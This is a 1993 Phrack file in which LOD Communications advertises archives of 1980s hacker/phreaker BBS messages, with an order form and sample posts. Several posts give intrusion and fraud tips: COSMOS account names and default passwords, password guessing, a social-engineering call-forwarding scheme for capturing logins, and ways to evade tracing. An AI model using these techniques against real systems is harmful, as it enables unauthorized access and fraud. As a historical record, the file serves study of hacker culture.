Erik Bloodaxe * G,R 2/07/90
Plover-NET 516 Quasi Moto 346 1/14/84 - 311 $ 5.00 B
Lex Luthor * G 5/04/84
Safehouse 612 Apple Bandit 269 9/15/83 - 251 $ 4.00 B
G,U 5/17/84
Sherwood Forest I 212 Magnetic Surfer 92 5/01/84 - 85 $ 2.00 B
P,U 5/30/84
Sherwood Forest ][ 914 Creative Cracker 100 4/06/84 - 239 $ 3.00 B
Bioc Agent 003 * G 7/02/84
Split Infinity 408 Blue Adept 52 12/21/83 - 36 $ 1.00 B
1/21/84
Twilight Phone ??? System Lord 17 9/21/82 - 24 $ 1.00
1/09/83
Twilight Zone/ 203 The Marauder 108 2/06/85 - 186 $ 3.00 B
Septic Tank Safe Cracker * G,U 7/24/86
WOPR 617 Terminal Man 307 5/15/84 - 266 $ 6.00 B
The Minute Man * G,U 1/12/85
_____________________________________________________________________________
NOTES: In SYSOP(S) column, * indicates remote sysop.
In #msgs column, P indicates that the BBS was Private, R indicates BBS
was public but restricted access sub-board(s) are included, G indicates
that SOME (or maybe all) of the G-files written by the sysop and/or
files that were available on the BBS are included, U indicates that a
BBS Userlist (typically undated) is included.
DATES column shows the starting and ending dates for which messages
were buffered (and therefore available) although there may be some gaps
in the chronological order.
KBYTES column shows size of complete file containing messages, g-files,
userlist, etc. COST column indicates current cost of message base in
U.S. Dollars, "B" indicates that a "BBS Pro-Phile" was written and is
included, "D" indicates that 100% of all orders for that BBS (Metal
Shop Private) will be donated to help pay for Craig Neidorf's (Knight
Lightning) Legal Defense bills.
LODCOM is currently organizing and splicing messages from over 30 more H/P
BBSes [shown below] and, as the files are completed and/or as additional
messages are procured for the above systems, updates of this listing will be
released. Next release is expected some time in JUNE of 1993: Modem Over
Manhattan (MOM), 8BBS (213), Mines of Moria (713), Pirates Cove (516) sysop:
BlackBeard, Catch-22 (617) sysop: Silver Spy, Phreak Klass 2600 (806) sysop:
The Egyptian Lover, Blottoland (216) sysop: King Blotto, Osuny 2 (a.k.a. The
Crystal Palace) (914), The Hearing Aid, Split Infinity (408), (303) sysop: The
ShadowMaster, ShadowSpawn (219) sysop: Psychic Warlord, IROC (817) sysop: The
Silver Sabre, FreeWorld II (301) sysop: Major Havoc, Planet Earth, Ripco (312)
sysop: Dr. Ripco, Hackers Heaven (217) sysop: Jedi Warrior, Demon Roach
Underground (806) sysop: Swamp Ratte, Stronghold East Elite (516) sysop: Slave
Driver, Pure Nihilism, 5th Amendment (713) sysop: Micron, Newsweek Elite (617)
sysop: Micro Man, Lunatic Labs (415) sysop: The Mad Alchemist, Laser Beam
(314), Hackers Den (718) sysop: Red Knight, The Freezer (305) sysop: Mr. Cool,
The Boca Harbour (305) sysop: Boca Bandit, The Armoury (201) sysop: The Mace,
Digital Logic's Data Center (305) sysop: Digital Logic, Asgard (201), The KGB,
Planet Earth (714), PBS (702), Lost City of Atlantis sysop: The Lineman, and
more.
Hacking/Phreaking Tutorials a.k.a. "G-Philes":
----------------------------------------------
Along with the above H/P BBS Message Bases, LODCOM has collected many of the
old "philes" that were written and disseminated over the years. A list of all
of them would take up too much space here, however, we can tell you that the
majority are NOT files that were originally written for electronic newsletters
such as Phrack, PHUN, ATI, etc. (with the perhaps obvious exception of the
LOD/H Technical Journal). Those files/newsletters are readily available from
other sources. This hodgepodge of files includes files from Bioc Agent 003,
Legion of Doom members, and many others that somehow fell out of widespread
circulation. A Table of Contents of the collection is included but the
tutorials are all grouped together in four large files of approximately 250K
each. This collection will have additions with each update of this file. See
the order form for the price (price will go up as more files are added).
The Order Form:
---------------
- - - - - - - - - - - - - - - C U T - H E R E - - - - - - - - - - - - - - - -
LOD Communications H/P BBS Message Base ORDER FORM
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PERSONAL RATE: Due to the economics involved in diskettes, disk mailing
containers, snail mail costs, and time to fill orders, a MINIMUM ORDER of
$20.00 is required for all personal requests. If all 20 message bases are
ordered (containing 5700+ messages), the cost is discounted to $39.00; if you
order $20.00 worth (the minimum) or more, you get $5.00 worth in addition as a
discount. That is, pay for $20.00 and get $25.00 worth of message bases.
COMMERCIAL RATE: Corporations, Universities, Libraries, and Government
Agencies must order the complete set (Volume #1) and pay a higher rate. For
Price Listing Version #1 Released 5/15/93 (20 boards total), the price is
$99.00 (note that new messages that surface for any BBS purchased will be sent
completely FREE of ANY additional charge).
H/P BBS Names: ____________________________________________________________
[Write: COMPLETE ____________________________________________________________
SET if you want
all messages] ____________________________________________________________
"G-Phile" Collection Version #1 (Optional): $____________ ($10.00 Personal)
($25.00 Commercial)
Disk Format/Type of Computer: _____________________________________
(Please be sure to specify diskette size [5.25" or 3.5"] and high/low density)
File Archive Method (.ZIP [preferred], .ARJ, .LHZ, .Z, .TAR) ____________
(ASCII [Non-Compressed] add $2.00 to order)
Texas Residents add 8% Sales Tax.
If outside North America please add $5.00 for Shipping & Handling.
Total Amount (In U.S. Dollars): $ ___________
Payment Method: Check or Money Order please.
Absolutely NO Credit Cards, even if it's yours :-)
By purchasing these works, the Purchaser agrees to abide by all applicable U.S.
Copyright Laws to not distribute or reproduce, electronically or otherwise, in
part or in whole, any part of the Work(s) without express written permission
from LOD Communications.
Send To:
Name: _____________________________________
Organization: _____________________________________ (If applicable)
Street: _____________________________________
City/State/Zip: _____________________________________
Country: _____________________________________
E-mail address: _____________________________________ (If applicable)
PRIVACY NOTICE: The information provided to LOD Communications is used for
sending orders and periodic updates to the H/P BBS Message Base Price List.
It will NOT be given or sold to any other party. Period.
- - - - - - - - - - - - - - - C U T - H E R E - - - - - - - - - - - - - - - -
Remit To: LOD Communications
603 W. 13th
Suite 1A-278
Austin, Texas USA 78701
Lodcom can also be contacted via E-mail: lodcom@mindvox.phantom.com
Voice Mail: 512-448-5098
_____________________________________________________________________________
End Order File V.1
LOD Communications: Leaders in Engineering, Social and Otherwise ;)
Email: lodcom@mindvox.phantom.com
Voice Mail: 512-448-5098
Snail Mail: LOD Communications
603 W. 13th
Suite 1A-278
Austin, Texas USA 78701
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 19 of 27
Lodcom Sample Messages Set #1, 4/20/93
In order to provide a better feeling for the content of what the LOD
Communications Underground Hack/Phreak BBS Message Base Archives contain, 31
messages were selected from the overall collection of posts for 5 Boards.
Note that the samples contained herein are fairly typical and are but a very
small fraction of the 5000+ messages from over 50 systems that LODCOM currently
possesses. Additional BBS's and messages are being added constantly. Consult
the Price Listing [First Version due to be released in Late April 1993 and
periodic additions thereafter] for an up-to-date catalog of our holdings and
costs (minimal).
The selection of messages in Set #1 are from the following Systems:
H/P BBS Name A/C Sysop(s) Circa
-----------------------------------------------------------------------------
OSUNY 914 Tom Tone & Milo Phonbil 1982/83
WOPR 617 Terminal Man & The Minute Man 1984/85
Phoenix Project 512 The Mentor & Erik Bloodaxe 1988/89/90
The Twilight Zone 203 The Marauder & SafeCracker 1985/86
Black Ice Private 703 The HighwayMan & The Mentor 1988/89
_____________________________________________________________________________
H/P BBS Message Bases to be available in the near future (in addition to
the above five) are:
8BBS (213) Circa 1980/81, Modem Over Manhattan (MOM), Twilight Phone (1982),
Legion of Doom! (305) sysop: Lex Luthor, Plover-NET (516) sysop: Quasi Moto,
Sherwood Forest II (914) co-sysop: Bioc Agent 003, Alliance BBS (618) sysop:
Phantom Phreaker, Catch-22 (617) sysop: Silver Spy, Blottoland (216) sysop:
King Blotto, Osuny 2 (aka The Crystal Palace) (914), Mines of Moria (713),
Pirates Cove (516) sysop: BlackBeard, The Hearing Aid, Split Infinity (408),
Farmers of Doom! (303) sysop: Mark Tabas, Shadowland (303) sysop: The
ShadowMaster, Metal Shop Private (314) sysops: Taran King and Knight Lightning,
ShadowSpawn (219) sysop: Psychic Warlord, IROC, FreeWorld II (301), Planet
Earth (714), The C.O.P.S. (305), Ripco (312) sysop: Dr. Ripco, Hackers Heaven
(217) sysop: Jedi Warrior, Demon Roach Underground, Stronghold East Elite (516)
cosysop: Slave Driver, Pure Nihilism, 5th Amendment (713), Newsweek Elite
(617), Phreak Klass 2600 (806), Lunatic Labs (415), Laser Beam (314), Hackers
Den, The Freezer (305) sysop: Mr. Cool, The Boca Harbour (305) sysop: Boca
Bandit, The Armoury (201) sysop: The Mace, Digital Logic (305), Asgard (201),
The CIA bbs, The KGB bbs, Face to Face (1990), Broadway Show (718) Sysop:
Broadway Hacker, The Safehouse (612) circa 1983/4, Lost City of Atlantis (215),
The Private Sector (2600 sponsor BBS), and more.
This message constitutes explicit Permission by LOD Communications to
disseminate this File containing 31 actual messages from our Copyrighted
(c) 1993 collection of H/P BBS Message Bases so long as the contents are not
modified. No part of this File may be published in print without explicit
permission by Lodcom.
Lodcom Sample H/P BBS Messages:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*** {OSUNY (914) Sysop(s): Tom Tone and Milo Phonbil (both wrote for TAP)} ***
*** {Osuny is perhaps the most legendary Phreak Board of all time} ***
Msg.:118
Date:10/5/82
From:MILO PHONBIL
To:ALL
About:STANFORD STUFF
Greetings, Stanford phreaks!
It seems that those "strange" numbers
are really ones that
will appear if another person is signed
on to the same id.
(Like AA.TEG AA.TEG#2 AA.TEG#3 and so on
.) Also, while there
is no MAIL facility available to "GUEST"
accounts, there is
a way to send a one-liner to someone els
e. The command format
is: TO gg.uuu msg
Where gg.uuu is the person's id, and the
msg is of course,
the message. Also, their SPIRES database
is quite
interesting! Type CALL SPIRES, then SHOW
SUBFILES. Then you
must SELECT a subfile. For a complete tu
torial, try:
TUTORIAL MASTERLIST
SPIRES is ended by typing EXIT at the ->
prompt.
Later, MILO PHONBIL
Msg. :180
About :MAINFRAMES
>From :DATA BANDIT
To :ALL PHREAKS
Date :2/23/83 00:00
OK PHREAKS....YOU NEED HELP ON TSO
FORMATS,SPF FORMATS,GDDM FORMATS?
THIS IS THE GUY TO ASK....I'M DAMN
GOOD AT IT...I WORK AS AN OPERATOR
ON SUCH SYSTEMS AND KNOW THESE BABIES
LIKE I KNOW MY OWN FACE....SO IF YOU
NEED HELP...JUST DROP ME A LINE HERE
OR ON MY BOARD....303-xxx-3015....
24 HRS.....I CAN SHOW YOU HOW TO SET
UP A PROGRAM ONCE ON IT TO DUMP ALL
SYSTEM PASSWORDS AND ALL DATASET
PASSWORDS...ETC...SET UP YOURT
OWN USER ID...THE WHOLE 9 YARDS...
I HAVE MY COMPANY BY THE F*CKING
BALLS! SO I CAN TEACH YOU TOO....
JUST ASK ME.....
THE ONE AND ONLY
DATA BANDIT
][][ ][][][
ON A MAINFRAME NEAR YOU!
---------------\-/-----------------
?
MEMBER P.H.A.
Msg. :396
About :PHREAK BBS ON THE SOURCE!!!
>From :MAXWELL WILKE
To :ALL
Date :3/25/83
Well, believe it or not, there is alread
y two small phreak
BBS's on The Source!!! They have traded
some minor info,
including some Sprint codes, and other s
uch folly. But
the thing is, it's there, has been there
since october '82,
and The Source knows about it, and they
don't care!
the BBS's are on the Source's PARTIcipat
e, which, admitedely,
is a very large, powerful "thing." In a
ddition to the
two on there now, I took the liberty to
create my own, entitled
the "P-MENU.SAV GROUP". It is Conferenc
e # 83.3257 .
Any CompuServe conference members out th
ere interested in
moving over to PARTIcipate on The Source
, let me know.
If you do not have instructions on it, I
'll mail 'em to you
if you give me your address. I'll see w
hat I can do about
getting some more Source accounts. A fr
iend of mine
listed 'em all!
later,
MW
P.S. To all fans of my modifications to
The Source:
Sorry, the good 'ole boys at STC p
icked up on what
i did to them (Snicker... haw.. ha
w) and they cor-
rected my modifications. i put 'e
m back, and they
fixed 'em again, etc, etc, until t
hey finally looked
up in their PR1MENET REFERENCE MAN
UAL and figured out
how to protect their accounts! Oh
well...
Msg. :476
About :BAD NEWS
>From :THE HACKER
To :ALL
Date :4/8/83
BAD NEWS SPRINT IS AT IT AGAIN THEY JUST CAUGHT SOMEONE
LAST NIGHT NOW THEY ARE GOING FOR A SECOND KILL
THEY ARE GOING AFTER ZERO PAGE THEY HAVE BEEN CALLING AROUND
ABOUT SO IF ANYONE OUT THERE KNOWS HIM TELL HIM THAT
THEY ARE CALLING AROUND NOW THAT SPRINT AND MCI ARE OUT TO GET
ALL OF THE PHREAKS DOES ANYONE HAVE ANY GOOD SERVICES THAT
ARE SAFE I AM USING ITT
HOW SAFE IS THAT???
PLEASE RESPOND BACK SOMEBODY!
THE
HACKER
[*]THE INNER CIRCLE[*]
=-=-=-=-=-=-=-=-
Msg. :519
About :SPRINT/MCI/OTHER BUGGERS
>From :ROGER OLSON
To :ALL
Date :4/17/83
I highly recommend the proceedure mentio
ned here earlier for
staying OUT OF TROUBLE with "the competi
tion". Look for your
own passwords. Don't use the ones posted
on BBS's except maybe
once, to "get a feel" of how the particu
lar switch works. If
possible, test the codes between 8 - 11
AM to detirmine if they
are business codes or not. When possible
, use a local loop to
call into/out of to the switch you are u
sing. This simply adds
more frustration in the event anyone is
tracing. When possible,
STAY AWAY completely from these OCC's, o
pting instead to use the
Wats lines from large companies, via the
ir remote call in ports.
You always want to stay away from system
s that individually
account for each call, as MCI/Sprint do.
WATS lines, on the
other hand, especially in older exchange
s, do not record every
number called - just the total time the
line was in use, in
hours per month. In either case....have
your phun now!! Cause
after the Final Judgement and Settlement
is implemented next
year, you will place <<all>> long distan
ce calls by merely
dialing the number desired, and entering
a two digit "choice
of carrier" code (for ATT, MCI, Sprint,
Allnet, etc) and your
local central office will use ANI to sup
ervise your call! The
outfits like MCI will discontinue dealin
g with the public as
such, and will only deal <with other tel
ephone companies> who
in turn will act like billing/collection
agents for MCI, etc.
Watch and see! The times are changing! N
o more phucking around!
Msg.: 211
Date: 10/17/82
From: ROBERT ALLEN
To: ALL
About: WHITE HOUSE
IF ANY OF YOU ARE WONDERING,
800-424-9xxx IS WHAT IS
KNOWN AS THE WHITE HOUSE SIGNAL (SWITCH
BOARD),
AND IT IS RELATIVELY NASTY/FUN, IF ONE
KNOWS ALL OF THE
SILLY CODEWORDS TO USE.. A FRIEND AND 8
OTHER PHREAKS
GOT TRICKY DICK OUT OF BED AT 2:30 AM,
BY ASKING FOR "OLYMPUS". I HEAR THERE
ARE TAPES OF THE CALL FLOATING AROUND...
800-424-9xxx IS A WH. HOUSE PRESS RECORD
ING,THAT CAN BE QUITE
FUN, IF YOU LIKE RON'S SPEECHES EARLY...
DIAL ANYWHERE,
BUT DIAL WITH CARE
--BOB--
Msg. :111
About :***WARNING!!!***
>From :JIMMY HOFFA
To :***PHELLOW-PHREAKERS***
Date :2/19/83 00:00
"FOR ALL YOU *PHELLOW-PHREAKERS* OUT THERE......
there seems to be some "negativeness" out there from a few
select peo`le!. WELL, For one thing "THEY" must realize
A "*PHREAKER*" IS *NEVER* "*NEGATIVE*" (TAKE NOTE!!.
RODGER-OLSON!!).. We ARE A SELECT BREED WHO HAVE BEEN
BLEd WITH A REAL UNSATISFYING "THIRST" FOR..
"@KNOWLEDGE*" and Willing to share with "PHELLOW-PHREAKERS".
WE CAN DO ANYTHING *MA* CAN DO, ONLY WE CAN DO IT BETTER!!!!!
WHO NEEDS "PESSIMISM" ANYWAY???? DID PESSIMISTs HELP BUILD OUR
COUNTRY, OUR COMPUTERS, OUR WORLD AROUND US???
NO!!! POSITIVE THINKERS DID, THAT'S WHO!!! PEOPLE WHO HAVE A
NEVER-ENDING THIRST FOR KNOWLEDGE, CHALLENGE, AND FOUND NEW
IN-ROADS TO HELP BETTER OURSELVES!!!
THESE ARE WHAT "I" CALL THE "*REAL*" "PHREAKERS"!!! HOW ABOUT
YOU!!! WE CAN TURN NEGATIVES TO POSITIVES EASIER THAN MOST CAN
BRUSH THEIR TEETH! WE DON'T NEED NEGATIVES BECAUSE THERE'S
ALREAXDY TOO MANY OUT THERE! WHAT WE NEED IS MORE PEOPLE WITH
A POSITIVE-MENTAL-ATTITUDE THAT CAN HELP FURTHER OUR
QUEST FOR KNOWLEDGE GAINING A SATISFACTION UNBEKNWNST to
"NEGATIVE"-"PESIMISTIC" PEOPLE!
HAD TO SAY IT AND I DON'T REGRET IT!
THIS WAS A>>>>>>
****PUBLIC************
****SERVICE************
***ANNOUNCEMENT*****************
_____________________________________________________________________________
*** {WOPR (617) SYSOP: Terminal Man. WOPR was a private phreak board and} ***
*** {was considered one of the best H/P systems of the time. The} ***
*** {following Messages are from 1984 unless stated otherwise} ***
Message #33: QUORUM
Msg left by: KING BLOTTO
Date posted: TUE MAY 29 3:13:14 PM {1984}
TO ALL MY SUBJECTS:
THIS TOPIC IS ABOUT CONFERENCES.
AS MANY OF YOU KNOW, I DON'T CONFERENCE
ANYMORE SINCE INFOWORLD PUT OUT AN
ARTICLE ON IT ON MARCH 26. THE REASON
BEING: THERE ARE N-O SAFE EXCHANGES
BEING USED TODAY. EVERYONE SAYS; "BUT
THIS IS CHICAGO", "THIS IS A DALLAS
EXCHANGE", "THEY CAN'T TRACE CONFEREN-
CES!". THE LAST ONE IS MY FAVORITE. THE
SYSTEM USED BY ALMOST EVERYONE TODAY IS
ALLIANCE TELECONFERENCE. THIS IS NOT
BELL OPERATED. QUORUM IS THE BELL CONF.
SYSTEM. AND IT'S WORSE THAN ALLIANCE.
NEWS HAS IT, THAT ALLIANCE TELECON-
FERENCE MIGHT BE GOING UNDER NOW. BUT
THEY HAVE STARTED TAKING PEOPLE WITH
THEM. ( 5 TO DATE, AS I KNOW) ALLIANCE
IS SUPER-PISSED, WELL, WOULDN'T YOU BE?
AND ESPECIALLY AFTER EVERY LITTLE 15YR
OLD LEARNS HOW TO START ONE UP, HE'LL
BE JUST GETTING THEM MORE PISSED OFF.
THE ABUSE HAS GROWN TO A MAXIMUM. I AM
TRYING TO FIND OUT ALL I CAN ON
QUORUM AT WORK. I'LL POST THE INFO AS
IT COMES IN.
MAJESTICALLY,
KING BLOTTO
P.S.- READ THE 3/26/84 INFOWORLD!
<1-48 LAST=33 E=mail Q=Quit T=Titles>
---------------------------------
69> COSMOS & UNIX
---------------------------------
Msg left by: BIOC AGENT 003
Date posted: MON AUG 6 11:18:23 AM
COSMOS is basically a modified UNIX sys
tem. When a non-priviledged COSMOS
user logs on, a program usually called
/BIN/PERMIT is run. This tells the
system which COSMOS commands the user i
s allowed to use.
On the other hand, when a priviledged u
ser logs in (ie, root, sys, bin, or
preop), he is put into the normal UNIX
shell (SH) where he can utilize
UNIX commands such as: who & cat /etc/
passwd (which will printout the
password file). These users can also t
ype CHDIR /USR/COSMOS and use ANY of
the COSMOS commands since COSMOS is rea
lly a sub directory in a UNIX system.
They also have a bad (good?) habit of l
eaving administrative notices and files
(such as the decrypted passwords) layin
g around in different directories of
the system. In fact, one system down i
n Washington, DC has a BIN account
with no password (!) until some ASSHOLE
decided to change the message of the
day"I broke in, ha, ha --Joe Smuck"!!!
If you can't get into one of the privil
edged accounts then you might as well
try for a regular COSMOS account. The
typical setup is two letters followed
by 2 numbers. Here are a few common on
es:
TRxx (TRaining -- eg, TR01, TR02, etc.)
LSxx(Lac Staff)
LA (Line Assignement)
FMxx (Frame Manager)
NMxx (NAC Manager)
RSxx (Repair Service)
LMxx (LMOS debug)
etc...
You best bet would be too go for one of
the managers accounts such as NM01.
There is also usually a user-name of CO
SMOS on the system.
The passwords are usually pathetic. Tr
y things such as: COSMOS, FRAME, TELCO,
etc.) Also try simple words such as:
CAT, BAT, RAT, etc.
You'll have to guess at the Wire Center
, though (WC). It will always b 2
letters.
Excelsior,
---------------------------------
1-79 LAST=69
[E]mail
[A]bort
[T]itles
:
---------------------------------
78> Intro To C Search
---------------------------------
Msg left by: LORD DIGITAL
Date posted: FRI AUG 17 6:20:13 AM {1984}
Ok what the program "C PW Scanner", or
"The C Search" does is fairly
simple. It reads through the main passw
ord file searching for a match between
A person's name and password and compar
es the two. If they match, or if
a person's pw is simply his name spelle
d backwards. it will write the
pw's into a file name of your choice. T
his should net you several paswords
for every scan at least. The percentage
of stupid people on any given
system is usually quite high. The entir
e search should take about 5 mins.
Obviously it can't do too much consider
ing everything is crypted...
The entire program is internal, and ass
umes you have at least one accnt.
allready present on the system in quest
ion.
Instructions :>
Pretty simple, all you do is: Uplo
ad the text file, use the CC (Compile
C) utility, which will give you th
e "a.out" (assembly out), now just
rename the file (mv) to whatever y
ou wish to call it...
If anyone wants to trade various C prog
rams (trojan horses (not that kind),
programs that search for ports with out
dial capabilty, etc...) leave e-mail
later-
.../\^ lord digital ^/\...
------------
-Spectral -- Phorce-
---------------------------------
1-90 LAST=78
[E]mail
[A]bort
[T]itles
:
---------------------------------
83> the old fashioned way...
---------------------------------
Msg left by: BIG BROTHER
Date posted: FRI AUG 17 10:36:45 PM
It might be just as easy when hacking
idiot's passwords (User Name, same
again; first name, same again; etc.) to
do it the old-fashioned way--by hand.
Hey, in half an hour I found 15 account
s on my 'private' 617 VAX VMS 3.6.
Some of them are even partially privili
ged.
Another thing, always try default pas
swords. If the system lets priv'gd
users log in thought dial-in lines and
the default psswds are still there,
you've struck gold. As the wise man sa
y, "Keep it to yourself." I once
the phone number to a Ztel Prime system
(linked to Primenet which eventually
links to milnet) with my operator accou
nt (User:OPERATOR, no password--default)
to a few people. They abused the acco
unt(created 10 or 15 other accts for
themselves) and it died within days....
---------------------------------
1-90 LAST=83
[E]mail
[A]bort
[T]itles
:
---------------------------------
85> Pissed As SHIT!
---------------------------------
Msg left by: SHARP RAZOR
Date posted: SAT AUG 18 4:09:16 AM
That is right! i finally have the time
and sit down and work with my Wash. DC
BIN and PREOP accounts, and 'lo and
behold...i call up (i hadn't called for
about 5 days) and the #'s were changed.
...not 1..but all 4 dial-ups!!
Talk about an abused system! Some of yo
u may not know it, but someone logged
on and left a cute logon bulletin to
all the AT&T bus. people, etc...that
went sort of like 'haha, Kilroy wuz
here!'...(real cute and intelligent,
huh??)..besides that...there were times
when I would call at 2AM on a weekday,
and see 15-20 people on-line...
...and all on the same account!!!
(since the # is changed, I can say it
WAS the MF01 act. they were using)
Let this be a lesson NOT to go around
POSTING COSMOS dial-ups on anything
besides a very private BBS,and especial
ly not the pw's!...I KNOW that the
lower level accounts were given away..
..but I hope at least the sysop ones
weren't..in any case this really shows
me not to be so liberal when I hand
out COSMOS pw's again.
..Later..
..Sharp Razor>>
The Legion of Doom!
(dont worry, I am just a bit po'ed now,
but I MAY get over it!!)
---------------------------------
1-90 LAST=85
[E]mail
[A]bort
[T]itles
:
Message #87: MORE ESS
Msg left by: PAUL MUAD'DIB
Date posted: TUE JUN 19 2:59:05 PM
I've got many switch and frame #'s to
trade, and here's a fun way to get pw's
or destroy bbs's-
call the switch and do what I said
in msg 78 asking for call forwarding
on an anonymous # (NOT your local tym-
or tele- nets, they DO know them to be
special dials)..when he puts it in,
call the "frame" #, and say "Hiya,
this is Bob Lineman, could you run
into the MDF, and try to activate the
call forwarding on NNX-XXXX? send it
to NNX-XXXF, please, I need to check
it out from both ends..." then, hook
your computer up to the payphone that
NNX-XXXF is, and set up a simulator
for the login to that system. When you
have it in your pocket, call the frame
back and say "Hi, me again, would you
just disengage the forwarding on that
# for me? I've got the problem, but I
need it recieving calls to fix it.."
then you can re-hack it later if you
want by just calling the frame again
in a different shift..
later,
Paul Muad'Dib
Legion
of
Doom
1-90 Last=87 E=Mail Q=Quit T=Titles -
Message #38: BOSTON COSMOS
Msg left by: DOCTOR WHO
Date posted: WED MAY 30 10:16:55 PM
OK HERE IS A FRESH COSMOS DIALUP..SORRY
NO PASSWORD...GO TRASHING BOSTONIANS!
617-338-5xxx
SPEAKING OF COSMOS, I WENT TRASHING TOD
AY AND GOT A COSMOS PASSWORD. IT SEEMS
TO BE A HIGH ACCESS ONE, THEY BROKE IN
ON THE GUY USING IT TO DO MAINTENANCE.
THE NAME IS FF01. NOW ALL I NEED IS THE
DIALUP. I CAN'T SCAN WITH MY MODEM. IF
ANYONE WANTS TO DO A LONG-DISTANCE SCAN
OF 413, I WILL GIVE YOU THE EXCHANGES T
O HACK, AND THE PASSWORD. PLEZE!
OH, IF THERE ARE ANY PHREAKS IN THE 413
NPA READING THIS, PLEASE REPLY..ITS
LONELY OUT HERE! CONFERENCES: TOO BAD
IF A COMPANY GOES OUT OF BUSINESS BECAU
SE OF PHREAKS...ONE LONG-DISTANCE COM
PANY WHO IS BUGGING ME SAYS THAT PHREAK
ING IS FORCING THEM OUT OF THE BUSINESS
THAT IS BULLSHIT. DON'T BELIEVE IT.
THE PHONE CO.'S MAKE SO MUCH PROFIT ITS
PITIFUL. IF IT WASN'T FOR PHREAKS
WE WOULD STILL BE STUCK WITH SXS. SO WE
HAVE CREATED MANY JOBS..IN AT+T, GTE, I
TT...AND IN THE FBI. SO FEEL GOOD..YOU'
VE HELPED THE ECONOMY! I HEARD THAT MCI
TAKES A BIG TAX LOSS ON STOLEN SERVICES
. MUCHO BUCKS SAVED! THATS ALSO (PROBAB
LY) THE REASON THE METROPHONE DOESN'T TR
Y HARD TO CATCH PHREAKS.
YOU KNOW IF THERES ONE THING I CAN'T
STAND ITS POLITICS AMONG PHREAKS..ONE
PERSON TRYING TO MAKE OTHERS L1 %'AD
AND SAY" I RULE!" YOU KNOW WHAT I MEAN?
YOU PEOPLE WHO I'ME TALKING ABOUT: NOW
THAT YOU'RE HERE UNDER DIFFERENT NAMES,
TRY TO BEHAVE!..'NUFF SAID
THE T.H.A. (TIMELORDS HOLY ALLIANCE) IS
THE GROUP THAT REALLY RULES..BECAUSE WE
DON'T HAVE ANY RULES...NO INITIATION..
NO NOTHING...AND YOU NEVER HEAR ANYBODY
BADMOUTHING US, DO YOU?
IS THERE A GOOD WAY TO BULLSHIT THE
FONE CO. FOR THE COSMOS DIALUP?
BYE....
-----------=?> DOCTOR WHO <?=----------
<1-48 LAST=38 E=mail Q=Quit T=Titles>
---------------------------------
MESSAGE #81: HACK-A-TRIP
---------------------------------
Msg left by: BROADWAY HACKER
Date posted: TUE JUL 24 8:24:02 PM
As you have probably seen on some other
good boards, I am ex-
tending an offer to anyone who wants to
come to New York for
free. Hacking airline tickets isn't as
hard as you think. If
your interested, maybe to go to a TAP m
eeting or something,
leave me EMAIL. It is relatively easy,
but one screwup can ruin
you. There are others who may have some
idea how this is done,
but have not actually done it. Leave me
EMAIL if your interest-
ed. You must be a minor, however, and y
ou must leave me a VALID
phone number in feedback since there ar
e security measures in-
volved since it is grand fraud.
*** Broadway Hacker ***
(-+-)(Chaos)(+-+)
Hack-a-trip
---------------------------------
MESSAGE #63: ARGGGH!
---------------------------------
Msg left by: KARL MARX
Date posted: SAT JUL 21 4:14:43 PM
Ahem, I don't know if I am getting moral
or something, but things are getting
pretty, well, strange.
First off: unix is pretty easy to crash
if you want to--but why would you want
to? Obviously, very few people know
"everything" about Unix, and I would
like one reason that destroying a system
would be better than learning to use it's
"special" features. If you want to get
your face on Newsweek, go ahead, but
otherwise, don't start destroying stuff
just for the sake of vandalism! Instead
of being a vandal, do somthing Robin
Hood-ish, like nice the parent process
of the batch runner to -20 or somthing.
Or give everyone full privilige
to / or make them all user 1.
Otherwise, as for metro tracing, that's
kinda hard to swallow. Would whoever's
friend's sister care to elaborate on that
one?
I don't know if anyone cares, but I had
a chance to take a look at those
"goldphones" and Geez!!! There were
codes written all over it! I don't
understand some people very well. That
is simply stupidity.
There is really nothing "new and exciting"
in phreaking anymore... most of what you
hear is bullshit from some twelve-year-
old that just learned how to use metro last
week. There is simply no "new" anything!
Eventually there will be, but until then
these "phreak" boards will simply be
"how to phreak"--tutorials instead of
journals. Drat!
:::::::::::::::::::::Karl Marx
LOD
---------------------------------
You have been on over your time limit.
Use the 'O' option to log off.
____
Logout Job ??, TTY ??,
On 21-7-84 For 34 Minutes
_____________________________________________________________________________
*** {Samples from the Phoenix Project BBS (512), Sysop: The Mentor} ***
*** {As many are aware, the Phoenix Project was one of the intended} ***
*** {targets in the Hacker Crackdown of 1990 and was erroneously} ***
*** {affiliated to Steve Jackson Games' Illuminati BBS} ***
*** {Other Networks Sub-Board} ***
8/60: Autonet...
Name: Erik Bloodaxe #2
Date: Thu Jan 11 13:18:39 1990
It wouldn't be such a great idea to scan Autonet through the Telenet
gateway. Autonet raised a holy shit-fit when Urvile was doing it
about a year ago, and sent Telenet Security all kinds of nasty
mail bitching for them to stop whoever in 404 was connecting to their
system. Telenet blew them off, but if it started again, Telenet might
just have to listen to their whining and crack down.
I suggest you (or whoever is planning on this) do your scanning through a
main dialup. It will be slower, but probably safer in the long run.
->ME
46/60: pac*it
Name: Corrupt #114
Date: Thu Feb 01 06:59:10 1990
pac*it plus calls 03110..germany and spain..I didn't think it called DPAC.
usefulfor scanning spain..but at this point......hmm I'd be scared of what
MCI i would do then GM...
anyone up on Kinneynet?hehehehehe
I'll post the dialup later but u need a NUI for it :-((
Develnet? I thought the Develnet was just x.25 server software! I've seen
several Develnet pads and I had gotinto thesystems it connected to and they
weren't MEAN related...maybe I'm wrong?(it was a modm company.)
Needless to say I was pissed when everyone used it todeath just to see a
pretty (canada)..the reason it diconnects is because of where you're calling
from..if you call from canda u probably won'T expirence this problem....on the
03110 develnet..same thing cept you have to be at console...there are still
somesystems availble from there that r open..here'Sone IBM <-i couldn't hack
it so of course I posted that one:-))
C U-->greets from [8lgm]corrupt
*** {The HP-3000 Sub-Board} ***
36/41: Woah!
Name: Erik Bloodaxe #2
Date: Mon Jan 22 03:36:40 1990
I wasn't ragging on MPE! Not at all, i was just "JOking" about the large
numbers of hp-3000 systems around the world and the unbelievable ease in
gaining access on one.
Geez, read...MPE seems ok, just kinda hard to get used to.
I mean, I'm in HUNDREDS of hp's, but until last year I didn't know what to do
with them...so they just sat there.
UNIX is just as lame security-wise, but On a percentage basis, I have gotten
into 85-90% of the HP's I have found, while I've only gotten into abot 50% of
the UNIXes I've found.
